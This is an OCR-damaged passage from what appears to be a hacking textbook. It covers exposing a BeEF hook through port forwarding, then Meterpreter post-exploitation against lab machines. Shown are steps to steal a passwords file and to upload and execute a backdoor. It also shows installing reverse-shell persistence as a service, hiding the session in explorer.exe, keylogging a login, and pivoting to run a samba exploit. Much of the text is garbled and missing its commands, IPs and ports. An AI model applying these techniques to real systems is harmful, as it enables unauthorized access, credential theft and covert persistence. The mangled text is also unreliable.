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to connect, they'll actually be able to find our computer, because if we
use the internal IP they won't be able to connect. We are going to use
the IP that we saw on Google when we typed in , and save the file.

Once we have done that we need to enable port , which is the port
that the BeEF works on. We need to tell the router, again in the IP
forwarding settings, to forward any requests that we get on port to our
Kali machine, which is at . Now, go to the Windows machine and
we're going to go to our website, which is basically the external IP of
our Kali machine. This will run automatically, and we should be
hooked to the BeEF as soon as we browse to the IP. As we can see
in the following screenshot, we have got a Windows machine hooked
and it's using Firefox 5.0, and now we can run all the commands that
the BeEF allows us to run:

Getting Started Logs Current Browser

Details Logs Commands Rider X3sRays Ipec Network WebRTC

o Category: Browser (6 tems)
Browser Version: UNKNOWN Initialization

Browser UA String: Mozllla/5.0 (Windows NT 10.0; Wing4; xo4) AppleWeDKITS37 .30 (KHTML. like Gecko) Chrome/o4.0.3282.140 Salar/537.30  Inllalizadon
Cdgerl7.17134

Browser Language: en-US Initialization
Browser Platform: Win3z2 Inldalizadon
Browser Plugins; Cdge PDF Viewer Initialization
Window Size: Widith: 1750, Height BO3 InikAlz Al

Now, let's just throw an alert and see if it works. As we can see in the
following screenshot, it just says BeEF Alert Dialog:

Create Alert Dialog

Description:  Sends an alert dialog to the hooked browser.
Id; 27

Alert text: BeEF Alert Dialog

We're just going to execute it to make sure that everything is working
properly. As we can see in the following screenshot that we are
hooked to a machine that exists in a completely different network:

T.me/nettrain




This site says...

BeEF Alert Dialog

Again all we have to do is use the external IP address. Whenever we
are sending it outside the network, use the IP that we see when we
type in on Google. When we are on our own machine, use the local
IP and make sure we configure the router to redirect the port that we
are listening on to the Kali machine, to the IP address, and to the
private IP address of the Kali machine.

As an alternative to using IP forwarding, we can set the Kali machine
as a DMZ host. Now, not all routers support DMZ, that's why we didn't
show it from the start; but if it supports it, we can use it. What DMZ
does is it's basically IP forwarding, but it forwards all ports. So, if we
put the IP address of the Kali machine in here, the router is going to
get a request for any port, it'll forward that request to the Kali
machine, regardless of what port it is. Therefore with port forwarding,
we actually select which ports we want to forward to Kali; with DMZ, it
will forward all the ports to the IP that we put in here. Now and again,
both of these methods can be used to allow devices on different
networks to access our computer, so we can receive connections, we
can allow them to access a website if we are hosting a website on our
web server, we can allow them to access fake websites, and we can
allow them to access the BeEF, the hook, or anything where we are
listening on a port we can use this method to allow people to access
it if the people exist on a completely different network than our own
network.

Summary
In this chapter, we majorly focused on how we can attack the external

network and to implement this attack. We studied a few fundamentals
such as port forwarding, which means redirecting the request from
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one port to the other. We even studied external backdoors and also
how to exploit them, and we saw they are not different to internal
backdoors. Then, moving ahead to another aspect of attacking the
network, we learned about IP forwarding, wherein we saw how to
determine the path through which the packet flows. We also
implemented real-life examples to see how this works. In the next
chapter, we are going to look at techniques to access the victim's
system even after they are not running software on their system.
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16

Post Exploitation

In previous chapters, we covered how to access devices through the
use of various techniques. We will now move on to the post
exploitation task, which will focus on the Meterpreter session and how
we can exploit a target system once we have gained access to it.
Then, we will look at the basic filesystem commands that can help us
to exploit a target system.

Hitherto in this book, we have accessed a targeted system only to the
point that a victim has our backdoor file or software running on their
system. Now, we will look at how to maintain our access to the
system, through both simple and advanced methods. We will even
cover what can be done after performing a keylogging attack. Then,
we will look at the important concept of pivoting, and we will use it to
create an autoroute.

This chapter will cover the following topics:

An introduction to post exploitation

Meterpreter basics

Filesystem commands

Maintaining access by using simple methods
Maintaining access by using advanced methods
Keylogging

An introduction to pivoting

Pivoting autoroutes

An introduction to post exploitation
Now that we've learned how to gain access to our target, let's look at

what we can do with that target. In this section, we will learn a
number of things that can be done after we have gained access to a
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computer. We will look at what to do with a computer regardless of
how we gain access to it whether we use a server-side exploit, social
engineering, a backdoor, a problem with a certain application, or
some other method.

In the previous chapters, we always stopped when we got to a
reverse Meterpreter session from our target. In this chapter, we are
going to start with a Meterpreter session. We're not going to discuss
how we gained access, but what we can do after gaining access. We
will be discussing some really cool things, such as how to maintain
access to a target computer even if its user uninstalls the vulnerable
program or restarts the computer. We will look at how to download,
upload, and read files, open the webcam, start the keylogger to
register keystrokes, and so on. We will also look at how to use a
target computer as a pivot to exploit all computers on the same
network (supposing that, for example, our target isn't actually the
computer that we hacked, but is on the same network as that
computer). Again, all of the things that we will do in this chapter will
focus on after we have exploited a target's vulnerabilities and have
gained access to it.

Meterpreter basics

In this section, we'll learn some basics on how to interact with
Metasploit's Meterpreter. In Linux, the command is always the best
command to run in terms of getting information about a specific
command. So, the first thing that we will do is run the command, to
get a big list of all of the commands that we can run, and a
description of what each command does, as shown in the following
screenshot:
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meterpreter = help

bqrun

channel
close
detach

sable unicode encoding

ble unicode encoding
t
timeouts

help

info

irb

LGET
machine id
migrate
pi\.':lt

tld“ pnIt
use

uuid
write

Description

Help menu
ounds

scripts
i :cript as a background

control active channels

¢ d[h the m reter session tfur http/https)
Disables cncuding of unice ings
Enable ncodine
Terminate the m
Get the cur 1t s
Get the ion GUID
Help menu
Displays information about a Post module
Drop intoe irb scripting mode
Load one or more meterpr
th SF ID of e mach dttdc
rate the server to another process
ge pivot 1i
ate the m F er session

out values

commands sto in a file
- script or Post module

Pun the

Executes a meterpr

Quickly switch to
he current s

tablis
etting

ed dlld_ for "1
et the UUID for the current s
Writes data to a channel

d

5
to the session

Looking at some of the basics, the first thing that we will highlight is

the
command, as follows:

The command basically backgrounds the current session without
terminating it. It's very similar to minimizing a window. So, after

running the command, we can go back to Metasploit and run other

commands to further exploit the target machine (or other machines),

maintaining our connection to the computer that we just hacked. To

see a list of all of the computers and sessions that we have in use,

we can run the
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command, which shows the current sessions. As we can see in the
following screenshot, we still have the Meterpreter session we didn't
lose it, and it's between our device and the target device, which is :

5:49932 (10.0.2.5)

If we want to go back to the previous session to run Meterpreter
again, all we have to do is run the command with (for interact), and
then put the ID (in our case, ), as follows:

msf exploiti( ) = sessions -1i 2
[#] Starting interaction with 2

meterpreter > |j

Another command is . We run this command every time we hack into
a system; it shows us information about the target computer. As we
can see in the following screenshot, it shows us the computer's
name, its operating system, and its architecture. Also in the following
screenshot, we can see that it's a 64-bit computer, so if we want to
run executables on the target in the future, we know to create 64-bit
executables:

We can see that the language in use is English, the workgroup that
the computer is working on, and the user ID that is logged in. We can
also see the version of Meterpreter that's running on the target
machine, and it's actually a 32-bit version.

Another useful command for gathering information is . The command
in this case is very similar to the command that we run on Windows
machines (in the Command Prompt); it will show us all of the
interfaces that are connected to the target computer, as shown in the
following screenshot:
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meterpreter = ipconfig
Interface

: Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00

MTU : 4294967295

IPv4 Address : 127.0.0.1

IPvd4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPvG6 Netmask : ffff:ffff:ffff:fFf:FFFF:FEFF:FEFF:FEFF

Interface

: Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:04:18:04

MTU : 1500

IPv4 Address : 10.0.2.5

IPv4 MNetmask : 255.255.255.0

IPve Address : TeB80::1590:a0cd:d841:d69b

IPve MNetmask : ffff:ffff:ffff: 11T ;

For example, we can see , the MAC address, the IP address, and
even the IPv4 address, connected to multiple networks. We can also
see all of the interfaces and how to interact with them.

Another useful information gathering command is the command. The
command will list all of the processes that are running on the target
computer; these might be background processes, or actual programs
running in the foreground as Windows programs or GUIs. In the
following screenshot, we can see a list of all of the processes that are
running, along with each one's name and or :
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MSEDGEWIN1@\IEUser C:“Program Files\Mozilla Firefox\firefox.exe

MSEDGEWINLIONIEUsEr C:iywwin

MSEDGEWIN1IG\IEUser C:\Win

One interesting process is that's literally the graphical interface of
Windows, and we can see in the preceding screenshot that it's
running on , as shown here:

MSEDGEWINLOA\IEUser C:\Windows\explorer.exe

Once we have hacked into a system, it is a very good idea to migrate
the process that the computer is running on into a process that is
safer. For example, the

process is the graphical interface of Windows, so it's always running,
as long as the person is using their device. This means that it's much
safer than the process through which we gained access to the
computer. For example, if we gained access through an executable or
a program, we will lose the process as soon as the person closes that
program. A better method is to migrate to a process that is less likely
to be closed or terminated. To do so, we will use a command called
process. We will use the , which will move our current session into a
different

process, because it's very safe.
Use the command, where is the of the process. The following is the
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output of the command:

meterpreter > migrate 4744
[+] Migrating from 6888 to 4744...

[#] Migration completed successfully.

At the moment, Meterpreter is running from the process. If we go to
the Task Manager on the target computer and run our Resource
Monitor, and then go to the Network tab and into TCP
Connections, we will see that the connection on port is coming from
the process, as shown here:

4 Resourcs Monitor a

File Maonitar  Help

Ohverview  CPL Memaory  Dhsk Metaork
-~ — .3

Processes with Network Activity -
: Image ] Send (Biliec) Qc-::'.'e [Bser) Talsl (Brued)
: Syl i n

sachost exe |HebworkSernce 1144 o4 55
: swchort e netiues 1 56 g1}
: suchigil exe LacalSerncein a4 1 183

Searchll.exe =08 8204 a 4,220
1 ewplarerexe s 4 1 50

B Sevands
| TP Conmectio

MNetwork Activity B ihps Netwark VO . 9% Hebwork Wilization L
TCP Connections o
mage FD Lewal Lacal Remo Rema., Packe Later
explorer.eue = 2116 1020 57564 10.20.. 5080
Seanchiilene I8 0.2 arsmn 2047 441
SeanchLirde 3508 1070 57582 04T, A43
SeafthUiexe 3904 1030 57560 204.7 3
Searchiiene J508 jlefbran] 3757y PO 441
SranchlE pee 3504 1070 5T57TE 4.8, 443
- 1 ERET] B2, 0
rEplnrer ee 216 1070 53934 9.2, 3

So, as for the target, it's not coming from a malicious file, our payload,
or a backdoor, it's running through , which is not suspicious. Now, if
we see Firefox or Chrome, we can migrate to those processes. And,
if we are connecting through port or , it's going to look even less
suspicious, because ports and are used by web servers, so it's very
natural to have a connection through them.

Filesystem commands
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Now, we're going to look at some more commands that will allow us
to navigate, list, read, download, upload, and even execute files on
the target computer. We have a Meterpreter session running, and the
first thing that we will do is get our current working directory by using
the command. It will bring us to the location. If we want to list all of
the files and directories, we can use the command; the following

screenshot shows the list of files:

modified

8192
0]
8192
XF-Xr-x 4096
100666/ rw-rw-rw- 174
40777/ PWX PWX FwWx 8192

-0400
-0400
-0400
-9400
-9400

38 -0400
-0400

Name

All Users
Default
Default User
IEUser
Public
desktop.ini

5shd

server

Let's suppose that we want to navigate to the folder. We will use the
command, and if we use , we will be in the directory. Then, we will go
into the directory and list the files. In the following list of files, we can

see , which seems like an interesting file:

= cd IEUser
er = pwd

- = cd Downloads

= 1s
§ “IEUseryDownloads

modified

458959

100777/ rwXrwxrwx 2912256
10066 v-Tw- 282

) 894976

i
(¢ 894976
100777/ rwxrwxrwx @
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If we want to read this file, all we have to do is use the
can then see the content of the file, as shown in the following
screenshot:

- = cat paswords. txt

If we check this file, we will see that the output we received from the
matches the content of the file.
command. We command

Let's suppose that we want to keep this file for later. We can
download it by using the command and the filename, which is . The
command's output is shown as follows:

meterpreter > download paswords.txt
[#] Downloading: paswords.txt -> paswords.txt

[*] Downloaded 7.00 B of 7.00 B (100.0%): paswords.txt -= paswords.txt
[+] download : paswords.txt -=> paswords.txt

Once we launch the command, the file will be downloaded; if we go to
our directory, we will see a file called , containing all of its data:

cd froot/
. 1s
alert.js sniff-2018-07-16-eth.pcap
bdfproxy msf resource.rc Templates
Desk test-upc-01.cap
Doc [ test-upc-01.
Dow i< test-upc-01.kismet.csv

—
- "N
_#

hamster. txt test-upc-01.kismet.netxml
Music test-upc-02.c:

‘New Graph (1).mtgl' test-upc-02.

paswords.txt test-upc-02.kismet.csv
Pictures test-upc-02.kismet.netxml
proxy.log Videos

Public

Now, suppose that we have a backdoor, a virus, a Trojan, or a
keylogger that we want to upload to the target computer. We can
upload it very easily. Going back to our directory, we can see a lot of
files, including one called . We're going to try to upload that file by
running the command, along with the filename. The file will be
uploaded, as shown in the following screenshot:
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- = upload backdoored-calc.exe
[*] uploading : backdoored-calc.exe -> backdoored-calc.exe

[*] Uploaded 2.78 MiB of 2.78 MiB (100.0%): backdoored-calc.exe -= backdoored-calc.exe
[+] uploaded : backdoored-calc.exe -> backdoored-calc.exe

We will now bring up a list to make sure that the file exists; in the
following screenshot, we can see a new file called in the following
screenshot:

meterpret

Mode Size ast modified Mame

100666,/ rw- rw- - 2018-07-24 05:50: -0400 Imagejpg.zip

CH T loh o clkkdoored-calc.exe

-0400 browser.exe
-0400 : '

-0400

-0400

WX 2018- -0400

100777/ rw WK € 2018-07-25 02:11: -0400

To execute the uploaded file on the target computer (if it is a virus or
a keylogger), all we have to do is run the command and specify the
file that we would like to execute after the option. For our example,
the file is . Once we execute it, we will see that the process has been
created, so our backdoor has been executed:

meterpreter = execute -f backdoored-calc.exe

Process 3324 created.

Now, if is a virus, it will do what it's supposed to do. Another feature is
the command, which converts the current Metasploit or Meterpreter
session into an operating system shell. If we type in the command,
we will get a Windows command line, where we can execute
Windows commands. As we can see in the following screenshot, it's
on a different channel, and we can run any Windows command that
we want through it. So, we can run the command to list all directories;
we can use ; and we can use any other Windows command, exactly
like running the commands through the Command Prompt:
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meterpreter = shell
Process 3108 created.
Channel 4 created.

Microsoft Windows [Wersion 10.0.17134.165]
{c) 2018 Microsoft Corporation. All rights reserved.

There are many more commands that we can use for filesystem
management. If we type in the command and go to the filesystem
section, we will see that we can edit, download, move a file to another
file, rename files, delete files, remove directories, search, and so on.
There are so many more things we can do with the filesystem, and
we have just given a basic overview of the main commands that we
can use to manage the filesystem on the target computer, as shown
in the following screenshot:

Stdapi: File system Commands

Read the contents of a file to the screen
Change directory

checksum
cp

dir
download
edit
getlwd

getwd
lcd
11s
1pwd
1s
mkdir

my
pwd

rm
rmdir
search

show mount

upload

Retrieve the checksum of a file
Copy source to destination
List files {(alias for 1s)
Download a file or directory
Edit a fTile
Print local working directory
Print working directory
Change local working directory
List local files
Print local working directory
List files

e directory
Move source to destination
Print working directory
Delete the specified file
Remove directory
Search for files
List all mount points/logical drives
Upload a file or directory

Maintaining access by using simple methods
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In all of the examples that we've seen so far, we would lose our
connection to the target computer as soon as the target user
restarted the computer, because we used a normal backdoor, and
once the computer restarted, that backdoor would be terminated, the
process would be terminated, and we would lose our connection. In
this section, we will discuss the methods that will allow us to maintain
our access to the target computer, so that we can come back at any
time and regain full control over the computer. There are a number of
ways of doing this. The first one is by using Veil-Evasion; we can use
an HTTP service or a TCP service instead of the HTTP backdoor that
we created.

Let's look at an example. If we use Veil-Evasion and run the
command, we will see that at the numbers and , we have service
backdoors, as shown in the following screenshot:

[*] Available Payloads:

autoit/shellcode inject/flat.py

auxiliary/coldwar wrapper.py
auxiliary/macro converter.py
auxiliary/pyinstaller wrapper.py

frev_http.py
ev http service.py

_tcp.py
‘rev_tcp_service.py

If we run , all we have to do is set up the and then the backdoor; we
can combine it with other methods and send it to the target person, or
we can upload it by using the command that we learned and then
execute it, and that will install the backdoor as a service on the target
computer:
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[Web]: https [Twi

Payload Information:

Mame : Pure C Reverse HTTP Serwice
C

Rating: Excellent

Description: pure windows/meterpreter/reverse http windows
service stager compatible with psexec, no
shellcode

Payload: c/meterpreter/rev_http_service selected
Required Options:

Name Value Description

COMPILE TO EXE ; Compile to an executable
LHOST IP of the Metasploit handler
LPORT 8080 Port of the Metasploit handler

Available Commands:

Go back to Weil-Evasion
Completely exit Veil
generate Generate the payload
options Show the shellcode's options
set Set shellcode option

[c/meterpreter/rev http service==]: |

All we have to do is use the multi-handler, and any time our target
computer starts, it will try to connect back to us, because itis a
reverse shell. We won't look at this method in detail, because it's very
simple. We've done something similar to it before: we created a
backdoor using Veil-Evasion and uploaded it to a target computer.
So, all we have to do is create a backdoor, upload it, execute it, and
then we are done. This doesn't always work that's another reason we
are not going to study it in detail. The normal backdoors are much
more reliable; that's why we used a normal backdoor when we were
combining backdoors with other methods such as changing its icon.
Another method is to use a module that comes with Meterpreter,
called ; let's look at how we can use it. All we have to do is use with ,
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and then use to see the help menu, to show us all of the options that
we can set up. In the following screenshot, we can see that starts a
multi-handler straightaway; we don't really need to change the
location where the backdoor will be installed:

er scripts
e: run post/w
- Script for

Automatically star

-L <opt= Location in t

-P <opt> Payload to us

-5 Automatic

<opt> Alternate

Automatic s
Automatically start the
This help menu
The interval in secon
The port on which t is
The IP of the system running Metasploit 1lis t-—-||l||1 for thv~ c=l||||-—-ct back

The option will specify the payload; again, is a really good payload,
so we don't really need to mess with it. The option is used to start
using system privileges; as mentioned previously, we don't have
system privileges, so we should be using the option. Then, we can
use the option to set up the amount of time during which the
backdoor will try to connect back to us; it'll try to connect every 10,
15, or 20 seconds whatever we specify. The option is to specify the
port, and the option is to specify the IP of our computer.

To run, all we have to do is use ,

privileges), at seconds, and then , and we will probably put

(to start it under user , because, as we mentioned, port doesn't look
suspicious. Then, we can use to specify our IP, which is . The
command will look something like the following:

run persistence -U -i 20 -p 80 -r 10.0.2.15

Obviously, once we run this, if we want to receive a connection, we
have to start the multihandler on port (or on the selected port using
the payload). The problem with this method is that it's detectable by
antivirus programs; therefore, we won't explain it in more detail. We
will instead explain a combination of both of these methods, which
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will not be detectable by antivirus programs and will be much more
robust than using Veil-Evasion.

Maintaining access by using advanced methods

In this section, we will use the normal HTTP reverse Meterpreter
undetectable backdoor that we created previously. We will inject it as
a service, so that it will run every time the target user runs their
computer; it will try to connect back to us at certain intervals. To do
this, first, we will the current session. We've done that before; we can
use and still interact with the session on number .

We will a module; it is like the multi-handler module that comes with
Metasploit, and it's called . We will look at its options, to see what we
need to configure. In the following screenshot, we can see similar
options to what we've seen in the Metasploit service:

The first thing is the number of seconds during which the target will
try to connect back to us the . We are going to keep that at seconds
S0, every seconds, the target computer will try to connect back to us.
Now, is the name that will show up under the processes where the
connection is responding back from. We will set that to the browser,
to make it less detectable; so, we will setto. The command is as
follows:

set EXE_NAME browser.exe

The where the payload or backdoor will be installed will be left the
same, and the (the registry entry) will also stay the same. Now, this is
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very important: we need to specify which session to run the exploit
on. For this example, we are using session number ; that's our
Meterpreter session. If we use , it will list all of the available sessions,
and we will see that its number is :

Information Connection

O\IEUser @ MSEDGEWIN1G® 10 8086 -> 10.9.2.5:19932 (10.6.2.5)

We need to set our will be left as

can see that

to number . So, we will use , and the , for the user privileges. Now, if
we run , we and the session number are set, as follows:

The most important thing to do is specify the payload that will be
injected as a service. To do that, we will run . The command will show
us the advanced options that we can set up for this particular module.
The one that we're interested in is called , indicating that we're going
to use a custom to run and inject into the target computer as a
service:
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) > show advanced

tence):

Reguired Description

1 p oad

s¢ custom e automatically gencrating a payload cxe
rate nsteac d
the §

the connection
a payload msi

We will set to
backdoor that we had that stored in
follows:

set EXE::Custom /var/www/html/backdoor.exe

, so that we can run our . The command is as

Now, we will run to make sure that it was set up properly, because
sometimes we misspell things:

HANDLLE
151

We are going to this, and that will upload onto the target computer,
using the session that we specified (session number ). We will see
that it's been uploaded and installed once we execute , as follows:
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An important thing to keep in mind is the resource file, because we
can use it to clean up and delete the backdoor once we are done
using it. If we don't want the backdoor on the target computer any
more, we can use the resource file to delete it. We can store the RC
file path from the command output in the Leafpad, so that we can run
it and delete our backdoor in the future.

If we run , it will show that the session is there, and we can interact
with it. We can kill that session using the command.

Now, if we use , we will have no connections with the target
computer. Using our exploit multi-handler, we can listen for incoming
connections.

If we run and the hacked computer is already booted, we will get a
connection straightaway, because our backdoor has been injected
into the target computer on port on . However, we are going to restart
the target computer, just to make sure that we will always have a
connection to it.

Perform a normal restart on the Windows machine. Our Kali
computer will try to connect back to it every 10 seconds, no matter
how many times the Windows machine is restarted or shut down. We
will now run our Meterpreter handler and wait for connections. Just
run

to listen, and it will take a maximum of 10 seconds to get a
connection back. As we can see in the following screenshot, we
received a connection to the target computer, and we now have full
access to that computer:

layload (188825 bytes) ...

13 0400

Keylogging
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In this section, we'll look at how we can log any mouse or keyboard
event that happens on the target computer. We will do that using a
plugin that comes with Meterpreter. We have our Meterpreter, so we
just have to run, as follows:

meterpreter = scan start

Starting the keystroke sniffer ...

Suppose that we want to go to Facebook and log in to an account. If
we look at the URL for the site, it includes HTTPS, and there is
nothing wrong with it. Generally, we need a password to log in to an
account. If we come back to our Terminal, we can see a log of
everything that has been recorded by typing . With that command, we
can see that the target user typed in , hit Enter, and put in their
username, and the password

meterpreter = keyscan dump
Dumping captured keystrokes...

facebook. com=CR=>

Zald<Shift=@isecurlty.org<Tab=123456<CR>

This will record everything that happens on the computer. We can
stop running , and it will stop the sniffer.

Another cool thing that we can do is get a screenshot, just by typing ;
it will save it for us in the directory:

meterpreter = s

Screenshot save

Go to, and we'll see that the screenshot is present. It's showing us
what's being displayed on the target computer screen:

T.me/nettrain



PQalHjji jpeg

L - n @

These are just two of the useful features we have available. The
keylogging is very useful, because we can get usernames and
passwords and see what the target user is doing on the computer.
Obviously, we can use other keylogger programs, like a portable
keylogger; all we have to do is upload them by using the command
that we learned previously, and then them.

An introduction to pivoting

In this section (and a few subsequent sections), we will study the
concept of pivoting. We will assume that our target is the
METASPLOITABLE device. In the following diagram, each one of the
big circles is a network, and, as we can see, the Metasploitable
device is not visible by the hacker:
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POST EXPLOITATION - PIVOTING

HACKER

METASPLOITABLE

® Use the hacked device as a pivot.
@ Try to gain access to other devices in the network

The Metasploitable device is hidden, either behind the network, or for
some other reason. The hacker is not able to ping or access the IP
address of the Metasploitable device. We're assuming that in our
example, the Metasploitable device exists in a different network. We
can see that the network has four devices. It has the Metasploitable
device, an iPhone, another device, and a Windows device (which we
hacked, and which is in red); the hacker device exists in the smaller
network, and there are only two devices (the hacker, and the
Windows machine that we hacked). The goal of pivoting is to use the
device that we hacked (the common device in the middle) to
compromise other devices that it has access to. So, the hacker
cannot see our target, which is the Metasploitable device but the
device that we just hacked can see that device, because they're on
the same network.

In the next few sections, we will try to hack the Metasploitable device,
even while it is not visible to the hacker (the Kali device). The only
way to access the Metasploitable device is through the Windows
device, which will be used as a pivot.

To set up our network (our lab), we will go to the VirtualBox settings,
and then to Preferences | Network; we can see that we have a
network that we've been using as the internal NAT network:
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&Uir‘tualﬂnx-l:'references [ 7 | =

@ General Metwork
@ Tnput MAT Mebwarks

Active  MName E‘
@ Update =

MatMetwork 5
O Language ﬁ
Dizplay
g‘ Metwork
g Extensions
Prowy

[ oK H Cancel ]

The NatNetwork is the one that our Windows and Kali devices are
connected to. We are going to create another NAT network by
clicking on the plus sign (+), and it will be called NatNetwork1:

(} YWirtualBox - Preferences T‘@

@, General Metwork
@ Input NAT Netwarks

Artive Mame ﬁ
@ Update

MatMetwark ﬁ
G Language MatMetnarkl E
Display
@ Metniork
[; Extensions
Prosy

Ok ][ Cancel
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Now, we will click on the third icon to the right to edit the settings, and
we can set the network's IP. We will set it to . The following
screenshot shows all of the settings:

& MAT Metwork Details 7 ][]

Mebwork Mame:  MakMetwork

Metwork CIDR:  10.0,3.0/24
Metwork Options: [ Supports DHCP
[7] supports IPve

Advertise Default IPvE Route

| Part Forwarding ]

[ (0] 4 H Cancel |

So, we created another network, and the Kali machine is not
connected to this network. Now, we will modify the settings of the
Windows device to connect it to the two networks. The Windows
device, as we can see in the preceding screenshot, is the common
device, and it will be connected to the NAT network that the Kali is
connected to, and also the one that the Metasploitable device is
connected to. In the Windows machine settings, go to Network |
Adapter 2 | Enable Network Adapter, and connect it to a NAT
Network. Then, select NatNetwork1, as follows:
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{23 M3Edge - Winll - Settings [ ® [ =

@ General MNetwork
E Spstern Adapter 1 Adapter 2 | adapter 5 I Adapter 4
Display Enable Metwork Adapter
Attached to: [NAT Metwork v |
Wvid  Storage
Marme: [NatNetwu:urkl b
Audi
19; e [» &dvanced
@ M etniork
‘@ Serial Ports
@ LISE
Ej Shared Folders
ﬁ ser Interface

[ (8] 4 ] [ Cancel

The Windows device now uses two adapters; one of them is
connected to NatNetwork, and the other one is connected to

NatNetwork1.
On the Metasploitable device, go to Settings | Network, and, instead
of connecting it to NatNetwork, connect it to NatNetwork1:
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{E} Metasplaitable - Settings @

@ General Network

Hystem Adapter 1 | Adapter 2 l Adapter 3 l Adapter 4 |
Display [¥] Enable Metwork, Adapter
Atkached to: [NAT Metwork. V]
m Storage
Marme: [NatNetwnrkl hd

Audi
1} e [ advanced
@ Metuork
@ Zerial Ports
ﬁ) LISE
|j Shared Folders
E‘ ser Interface

[ Ok | I Cancel ]

Now, the Metasploitable device is only connected to the network that
the Windows device is connected to, and the Kali machine is only
connected to the network that the Windows device is connected to;
the Windows device is connected to both networks. Now, to verify
that we have the settings, we will start our Metasploitable device and
the Windows device, and will use some commands to make sure that
everything is set up correctly. The main thing is that the Windows
machine should be able to ping both the Metasploitable and Kali
devices. In the following screenshot, we can see that we have
obtained the IP of the Metasploitable device - :
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sfadmin@metasploitable:™5 ifconfig
etho Link encap:Ethernet HUaddr 08:00:27:5f 44:0c
inet addr:10.0.3.5 Bcast:10.0.3.255 MHMask:255.255.255.0
inetb addr: feB0::a00:27ff :feb5f 440c-64 3cope:Link
UP BROADCAST RUMNING MULTICAST MTU:1500 Metric:1
R¥X packet=:38 errors:0 dropped:0 overruns:0 frame:0
TX packets:69 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
R¥ bytes:5571 (5.4 KB) TX buyte=s:7198 (7.0 KB)
Base address:0xd010 Memory:fo000000-fOo0Z0000

Link encap:Local Loopback

inet addr:127.0.0.1 HMask:255.0.0.0

inett addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 HMetric:1

R¥ packet=:95 errors:0 dropped:0 overruns:0 frame:0
TX packet=:95 errors:0 dropped:Q overruns:0Q carrier:0Q
collisions:0 txqueuelen:0

R¥X bytes:19669 (19.2 KB) TX bytes:19669 (19.2 KB)

Run , and we will see that the Windows machine can see the
Metasploitable machine, as shown in the following screenshot:

C:\Users\IEUser>ping 18.8.3.5

from 1
¢ from 16.
¢ from 18.

/ from 18.8.3.5:

Minimum = Bms,

Now, let's check whether it can see the Kali machine, which is on ;
again, if Windows can see both machines, it means that it is the
machine in the middle:
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lm
leply <ims
teply from 18.8.2.15: bytes <ims

<1ms
For 18.

ate round trip times in mill
Minimum = 8ms, Maximum = 8ms, Awver

Also, we will check whether the Metasploitable machine can see the
Kali machine. It shouldn't be able to see it, because the Kali machine
and the Metasploitable machine are connected to two different
networks. When we run on the Metasploitable machine, we can see
that we get nothing packets are transmitted and are received:

9P
PING 10.0.2.15 (10.0.2.15) 56(84) hgtes of data.

— 10.0.2.15 ping statistics ——
18 packets transmitted, © received, 100: packet loss, time 1701Zns

So, the Metasploitable device cannot see the Kali machine, and the
Kali machine cannot see the Metasploitable device, either. Run on
Kali, and we will see that it sends packets and are received; these
two devices cannot see each other, because they're on two different
networks, as the following screenshot indicates:

# ping 1G 0.3.5
PING 16.0.3 5 (10.0. 5r 56(84) bytes of data.
~C

- 10.0.3.5 ping statistics
packets transmitted, © received, 100% packet loss, time 2046ms

In the next section, we will use our access to the Windows machine
to hack into the Metasploitable device, because the Windows
machine is the common device, connected to both networks.

Pivoting autoroutes
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Now that we understand the concept of pivoting, it won't be difficult to
perform. All we need to do is upload any tool that we want to use; for
example, if we want to use Nmap or ARP spoof or dSniff, we can
upload those tools and run them on the Windows computer, which is
connected to the big network, and then run a port scanner, perform
ARP poisoning, or do man-in-the-middle attacks, just like we learned
previously. It's very simple; all we have to do is use the command and
use the tool from the command line.

In this section, we will see how to set up a route between the hacked
computer and our computer, so that we can use any Metasploit
auxiliary or module against the big network. We'll be able to use
Metasploit exploits, port scanners, and other useful modules.

To do this, we're going to use a module called . Let's look at how to
run an exploit on the Metasploitable virtual machine; it's should not
work, because it's not visible to us for now. So, we will use , and will
see that we have a connection through the Windows machine, which
we already hacked:

Connection

meterpreter x86/windows MSEDGEW

Next, we will run we already used this exploit against the
Metasploitable device before, but it was on the same network then,
so it was visible to us. This time, we're trying to attack a device that is
invisible. Then, we will run , as follows:
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nst exploit( ) = use exploit/multi/samba/usermap script
nst exploift( ) > show options

Module options (exploit/multi/samba/usermap script):

MName Current Setting Required Description

RHOST yes The target address

RPORT 13 yes The target port (TCP)

Exploit target:
Id Name

(0] Automatic

We will set to , because that's the |IP address of the Metasploitable
device. Then, when we use and , everything will be set up properly;
so, we will run , and we will see that the exploit will time out, because
(as we saw in the diagram in the An introduction to pivoting section)
the hacker device cannot see the Metasploitable device. So, it's trying
to run an exploit on the Metasploitable device, even though the
Metasploitable device has a vulnerability, but we won't be able to use
it because we can't see the Metasploitable device, and, as we will
see, the exploit failed, we received the , and we just couldn't connect
to the target computer, as shown in the following screenshot:

) = exploit

[unreachable]: Rex::ConnectionTimeout The connection timed out (10.8.3.15:139).
ion was created.

Now, we will interact with Meterpreter on and run . So, in our
Meterpreter, we will run to see those networks that the target
computer is connected to:
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meterpreter

Interface

Hardware MAC
MTU

IPv4 Address
IPv4 Netmask
IPvG Add

Hardware MAC
MTU

IPv4 Address
IPv4 Netmask
IPv6 Address
IPvG Netmask

Interface 21

Hardware MAC
MTU

IPv4 Address
IPv4 Netmask
IPvG Address
IPvG Netmask

> ifconfig

Software Loopback Interface 1

: QO:00:00:00:00:00

: 4294967295

127.0.0.1

255.0.0.0

:1
Trff:ffff: frff T ff:fffT:ffff:TFif:TFf T

Intel(R) PRO/1008 MT Desktop Adapter
O8:00:27:04:18:04

1500

10.0.2.5

255.255.255.0
feg80::f590:a0cd:d841:d69b
ffff:ffff:ffff:ffff::

Intel(R) PRO/100@ MT Desktop Adapter #:Z

: @B8:00:27:7fT:6d:bd

1500

10.0.3.4
255.255.255.0
fe80::39cd:c7fe:86Tf:
FEffffff:Fiff.FFff::

We can see all of the interfaces connected to the target computer,
and we will look for interfaces with IP addresses. We can see that
interface number has an IP address, and we can see that the IP
address is on our network; so it's really not very useful. It's already on
our network; we're on the

., Which is connected to cannot see from our Kali Linux device.
subnet. Another interface that we can see is

; it's on a different subnet, which we We will now try to set up a route
between a different subnet and the current subnet. We will copy the
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address and create a of the current session, coming back to
Metasploit. Then, we will run . Now, if we want to see all of the
managed modules at any point, after the

command, press Tab twice, and we will see all of the modules and
can try a new experiment with them:

